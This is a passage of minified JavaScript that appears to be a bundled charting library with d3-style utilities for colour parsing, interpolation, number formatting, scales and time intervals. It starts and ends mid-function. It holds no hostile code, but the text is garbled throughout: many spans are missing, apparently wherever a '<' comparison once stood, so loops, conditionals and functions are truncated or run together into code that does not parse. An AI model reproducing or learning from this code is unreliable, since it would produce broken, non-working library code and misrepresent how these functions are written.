Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(i1(this,t))}has(t){return super.has(i1(this,t))}set(t,n){return super.set(i8(this,t),n)}delete(t){return super.delete(a8(this,t))}}function i1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function i8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function a8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function s8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function o8(e=ei){if(e===ei)return xN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function xN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const l8=Math.sqrt(50),c8=Math.sqrt(10),u8=Math.sqrt(2);function tu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=l8?10:a>=c8?5:a>=u8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function s1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function vN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?xN:o8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));vN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(ws(e,n,t),i(e[r],a)>0&&ws(e,n,r);o0;)--l}i(e[n],a)===0?ws(e,n,l):(++l,ws(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function ws(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function d8(e,t,n){if(e=Float64Array.from(n8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return s1(e);if(t>=1)return a1(e);var r,i=(r-1)*t,a=Math.floor(i),o=a1(vN(e,a).subarray(0,a+1)),l=s1(e.subarray(a+1));return o+(l-o)*(i-a)}}function f8(e,t,n=hN){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function p8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Cl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Cl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=x8.exec(e))?new Dt(t[1],t[2],t[3],1):(t=v8.exec(e))?new Dt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=g8.exec(e))?Cl(t[1],t[2],t[3],t[4]):(t=y8.exec(e))?Cl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=b8.exec(e))?p1(t[1],t[2]/100,t[3]/100,1):(t=w8.exec(e))?p1(t[1],t[2]/100,t[3]/100,t[4]):o1.hasOwnProperty(e)?u1(o1[e]):e==="transparent"?new Dt(NaN,NaN,NaN,0):null}function u1(e){return new Dt(e>>16&255,e>>8&255,e&255,1)}function Cl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Dt(e,t,n,r)}function N8(e){return e instanceof Uo||(e=So(e)),e?(e=e.rgb(),new Dt(e.r,e.g,e.b,e.opacity)):new Dt}function Vm(e,t,n,r){return arguments.length===1?N8(e):new Dt(e,t,n,r??1)}function Dt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Ix(Dt,Vm,yN(Uo,{brighter(e){return e=e==null?nu:Math.pow(nu,e),new Dt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?ko:Math.pow(ko,e),new Dt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Dt(Oi(this.r),Oi(this.g),Oi(this.b),ru(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:d1,formatHex:d1,formatHex8:S8,formatRgb:f1,toString:f1}));function d1(){return`#${Ci(this.r)}${Ci(this.g)}${Ci(this.b)}`}function S8(){return`#${Ci(this.r)}${Ci(this.g)}${Ci(this.b)}${Ci((isNaN(this.opacity)?1:this.opacity)*255)}`}function f1(){const e=ru(this.opacity);return`${e===1?"rgb(":"rgba("}${Oi(this.r)}, ${Oi(this.g)}, ${Oi(this.b)}${e===1?")":`, ${e})`}`}function ru(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Oi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Ci(e){return e=Oi(e),(e<16?"0":"")+e.toString(16)}function p1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Pn(e,t,n,r)}function bN(e){if(e instanceof Pn)return new Pn(e.h,e.s,e.l,e.opacity);if(e instanceof Uo||(e=So(e)),!e)return new Pn;if(e instanceof Pn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Pn(o,l,c,e.opacity)}function z8(e,t,n,r){return arguments.length===1?bN(e):new Pn(e,t,n,r??1)}function Pn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Ix(Pn,z8,yN(Uo,{brighter(e){return e=e==null?nu:Math.pow(nu,e),new Pn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?ko:Math.pow(ko,e),new Pn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Dt(Vf(e>=240?e-240:e+120,i,r),Vf(e,i,r),Vf(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Pn(m1(this.h),Pl(this.s),Pl(this.l),ru(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=ru(this.opacity);return`${e===1?"hsl(":"hsla("}${m1(this.h)}, ${Pl(this.s)*100}%, ${Pl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function m1(e){return e=(e||0)%360,e<0?e+360:e}function Pl(e){return Math.max(0,Math.min(1,e||0))}function Vf(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Dx=e=>()=>e;function C8(e,t){return function(n){return e+n*t}}function P8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function E8(e){return(e=+e)==1?wN:function(t,n){return n-t?P8(t,n,e):Dx(isNaN(t)?n:t)}}function wN(e,t){var n=t-e;return n?C8(e,n):Dx(isNaN(e)?t:e)}const h1=function e(t){var n=E8(t);function r(i,a){var o=n((i=Vm(i)).r,(a=Vm(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=wN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function A8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:iu(r,i)})),n=Hf.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function F8(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?W8:F8,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),iu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,au),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Rx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Pt,d()):o!==Pt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function $x(){return zd()(Pt,Pt)}function U8(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function su(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Fa(e){return e=su(Math.abs(e)),e?e[1]:NaN}function V8(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function H8(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var K8=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function zo(e){if(!(t=K8.exec(e)))throw new Error("invalid format: "+e);var t;return new Bx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}zo.prototype=Bx.prototype;function Bx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Bx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function q8(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var ou;function Y8(e,t){var n=su(e,t);if(!n)return ou=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(ou=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+su(e,Math.max(0,t+a-1))[0]}function v1(e,t){var n=su(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const g1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:U8,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>v1(e*100,t),r:v1,s:Y8,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function y1(e){return e}var b1=Array.prototype.map,w1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function G8(e){var t=e.grouping===void 0||e.thousands===void 0?y1:V8(b1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?y1:H8(b1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=zo(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):g1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),O=g1[S],_=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(E){var U=N,K=z,R,I,F;if(S==="c")K=O(E)+K,E="";else{E=+E;var B=E<0||1/E<0;if(E=isNaN(E)?c:O(Math.abs(E),j),k&&(E=q8(E)),B&&+E==0&&g!=="+"&&(B=!1),U=(B?g==="("?g:l:g==="-"||g==="("?"":g)+U,K=(S==="s"&&!isNaN(E)&&ou!==void 0?w1[8+ou/3]:"")+K+(B&&g==="("?")":""),_){for(R=-1,I=E.length;++RF||F>57){K=(F===46?i+E.slice(R+1):E.slice(R))+K,E=E.slice(0,R);break}}}w&&!v&&(E=t(E,1/0));var V=U.length+E.length+K.length,$=V>1)+U+E+K+$.slice(V);break;default:E=$+U+E+K;break}return a(E)}return T.toString=function(){return f+""},T}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Fa(m)/3)))*3,x=Math.pow(10,-h),g=u((f=zo(f),f.type="f",f),{suffix:w1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var El,Fx,jN;X8({thousands:",",grouping:[3],currency:["$",""]});function X8(e){return El=G8(e),Fx=El.format,jN=El.formatPrefix,El}function Z8(e){return Math.max(0,-Fa(Math.abs(e)))}function Q8(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Fa(t)/3)))*3-Fa(Math.abs(e)))}function J8(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Fa(t)-Fa(e))+1}function kN(e,t,n,r){var i=Wm(e,t,n),a;switch(r=zo(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=Q8(i,o))&&(r.precision=a),jN(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=J8(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=Z8(i))&&(r.precision=a-(r.type==="%")*2);break}}return Fx(r)}function ui(e){var t=e.domain;return e.ticks=function(n){var r=t();return Bm(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return kN(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=Fm(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function NN(){var e=$x();return e.copy=function(){return Vo(e,NN())},yn.apply(e,arguments),ui(e)}function SN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,au),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return SN(e).unknown(t)},e=arguments.length?Array.from(e,au):[0,1],ui(n)}function zN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function iL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function N1(e){return(t,n)=>-e(-t,n)}function Wx(e){const t=e(j1,k1),n=t.domain;let r=10,i,a;function o(){return i=iL(r),a=rL(r),n()[0]<0?(i=N1(i),a=N1(a),e(eL,tL)):e(j1,k1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=zo(c)).precision==null&&(c.trim=!0),c=Fx(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(zN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function CN(){const e=Wx(zd()).domain([1,10]);return e.copy=()=>Vo(e,CN()).base(e.base()),yn.apply(e,arguments),e}function S1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function z1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Ux(e){var t=1,n=e(S1(t),z1(t));return n.constant=function(r){return arguments.length?e(S1(t=+r),z1(t)):t},ui(n)}function PN(){var e=Ux(zd());return e.copy=function(){return Vo(e,PN()).constant(e.constant())},yn.apply(e,arguments)}function C1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function aL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function sL(e){return e<0?-e*e:e*e}function Vx(e){var t=e(Pt,Pt),n=1;function r(){return n===1?e(Pt,Pt):n===.5?e(aL,sL):e(C1(n),C1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},ui(t)}function Hx(){var e=Vx(zd());return e.copy=function(){return Vo(e,Hx()).exponent(e.exponent())},yn.apply(e,arguments),e}function oL(){return Hx.apply(null,arguments).exponent(.5)}function P1(e){return Math.sign(e)*e*e}function lL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function EN(){var e=$x(),t=[0,1],n=!1,r;function i(a){var o=lL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(P1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,au)).map(P1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return EN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},yn.apply(i,arguments),ui(i)}function AN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return _N().domain([e,t]).range(i).unknown(a)},yn.apply(ui(o),arguments)}function ON(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[Wo(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return ON().domain(e).range(t).unknown(n)},yn.apply(i,arguments)}const Kf=new Date,qf=new Date;function st(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(ust(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(Kf.setTime(+a),qf.setTime(+o),e(Kf),e(qf),Math.floor(n(Kf,qf))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const lu=st(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);lu.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?st(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):lu);lu.range;const sr=1e3,pn=sr*60,or=pn*60,vr=or*24,Kx=vr*7,E1=vr*30,Yf=vr*365,Pi=st(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*sr)},(e,t)=>(t-e)/sr,e=>e.getUTCSeconds());Pi.range;const qx=st(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*sr)},(e,t)=>{e.setTime(+e+t*pn)},(e,t)=>(t-e)/pn,e=>e.getMinutes());qx.range;const Yx=st(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*pn)},(e,t)=>(t-e)/pn,e=>e.getUTCMinutes());Yx.range;const Gx=st(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*sr-e.getMinutes()*pn)},(e,t)=>{e.setTime(+e+t*or)},(e,t)=>(t-e)/or,e=>e.getHours());Gx.range;const Xx=st(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*or)},(e,t)=>(t-e)/or,e=>e.getUTCHours());Xx.range;const Ho=st(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*pn)/vr,e=>e.getDate()-1);Ho.range;const Cd=st(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/vr,e=>e.getUTCDate()-1);Cd.range;const TN=st(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/vr,e=>Math.floor(e/vr));TN.range;function Zi(e){return st(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*pn)/Kx)}const Pd=Zi(0),cu=Zi(1),cL=Zi(2),uL=Zi(3),Wa=Zi(4),dL=Zi(5),fL=Zi(6);Pd.range;cu.range;cL.range;uL.range;Wa.range;dL.range;fL.range;function Qi(e){return st(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/Kx)}const Ed=Qi(0),uu=Qi(1),pL=Qi(2),mL=Qi(3),Ua=Qi(4),hL=Qi(5),xL=Qi(6);Ed.range;uu.range;pL.range;mL.range;Ua.range;hL.range;xL.range;const Zx=st(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());Zx.range;const Qx=st(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());Qx.range;const gr=st(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());gr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:st(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});gr.range;const yr=st(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());yr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:st(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});yr.range;function MN(e,t,n,r,i,a){const o=[[Pi,1,sr],[Pi,5,5*sr],[Pi,15,15*sr],[Pi,30,30*sr],[a,1,pn],[a,5,5*pn],[a,15,15*pn],[a,30,30*pn],[i,1,or],[i,3,3*or],[i,6,6*or],[i,12,12*or],[r,1,vr],[r,2,2*vr],[n,1,Kx],[t,1,E1],[t,3,3*E1],[e,1,Yf]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(Wm(u/Yf,d/Yf,f));if(h===0)return lu.every(Math.max(Wm(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in A||(A.w=1),"Z"in A?(le=Xf(js(A.y,0,1)),me=le.getUTCDay(),le=me>4||me===0?uu.ceil(le):uu(le),le=Cd.offset(le,(A.V-1)*7),A.y=le.getUTCFullYear(),A.m=le.getUTCMonth(),A.d=le.getUTCDate()+(A.w+6)%7):(le=Gf(js(A.y,0,1)),me=le.getDay(),le=me>4||me===0?cu.ceil(le):cu(le),le=Ho.offset(le,(A.V-1)*7),A.y=le.getFullYear(),A.m=le.getMonth(),A.d=le.getDate()+(A.w+6)%7)}else("W"in A||"U"in A)&&("w"in A||(A.w="u"in A?A.u%7:"W"in A?1:0),me="Z"in A?Xf(js(A.y,0,1)).getUTCDay():Gf(js(A.y,0,1)).getDay(),A.m=0,A.d="W"in A?(A.w+6)%7+A.W*7-(me+5)%7:A.w+A.U*7-(me+6)%7);return"Z"in A?(A.H+=A.Z/100|0,A.M+=A.Z%100,Xf(A)):Gf(A)}}function z(P,C,D,A){for(var Z=0,le=C.length,me=D.length,ge,M;Z=me)return-1;if(ge=C.charCodeAt(Z++),ge===37){if(ge=C.charAt(Z++),M=k[ge in A1?C.charAt(Z++):ge],!M||(A=M(P,D,A))<0)return-1}else if(ge!=D.charCodeAt(A++))return-1}return A}function O(P,C,D){var A=u.exec(C.slice(D));return A?(P.p=d.get(A[0].toLowerCase()),D+A[0].length):-1}function _(P,C,D){var A=h.exec(C.slice(D));return A?(P.w=x.get(A[0].toLowerCase()),D+A[0].length):-1}function T(P,C,D){var A=f.exec(C.slice(D));return A?(P.w=m.get(A[0].toLowerCase()),D+A[0].length):-1}function E(P,C,D){var A=v.exec(C.slice(D));return A?(P.m=b.get(A[0].toLowerCase()),D+A[0].length):-1}function U(P,C,D){var A=g.exec(C.slice(D));return A?(P.m=y.get(A[0].toLowerCase()),D+A[0].length):-1}function K(P,C,D){return z(P,t,C,D)}function R(P,C,D){return z(P,n,C,D)}function I(P,C,D){return z(P,r,C,D)}function F(P){return o[P.getDay()]}function B(P){return a[P.getDay()]}function V(P){return c[P.getMonth()]}function $(P){return l[P.getMonth()]}function q(P){return i[+(P.getHours()>=12)]}function Y(P){return 1+~~(P.getMonth()/3)}function ie(P){return o[P.getUTCDay()]}function ae(P){return a[P.getUTCDay()]}function fe(P){return c[P.getUTCMonth()]}function de(P){return l[P.getUTCMonth()]}function G(P){return i[+(P.getUTCHours()>=12)]}function te(P){return 1+~~(P.getUTCMonth()/3)}return{format:function(P){var C=S(P+="",w);return C.toString=function(){return P},C},parse:function(P){var C=N(P+="",!1);return C.toString=function(){return P},C},utcFormat:function(P){var C=S(P+="",j);return C.toString=function(){return P},C},utcParse:function(P){var C=N(P+="",!0);return C.toString=function(){return P},C}}}var A1={"-":"",_:" ",0:"0"},pt=/^\s*\d+/,jL=/^%/,kL=/[\\^$*+?|[\]().{}]/g;function be(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function SL(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function zL(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function 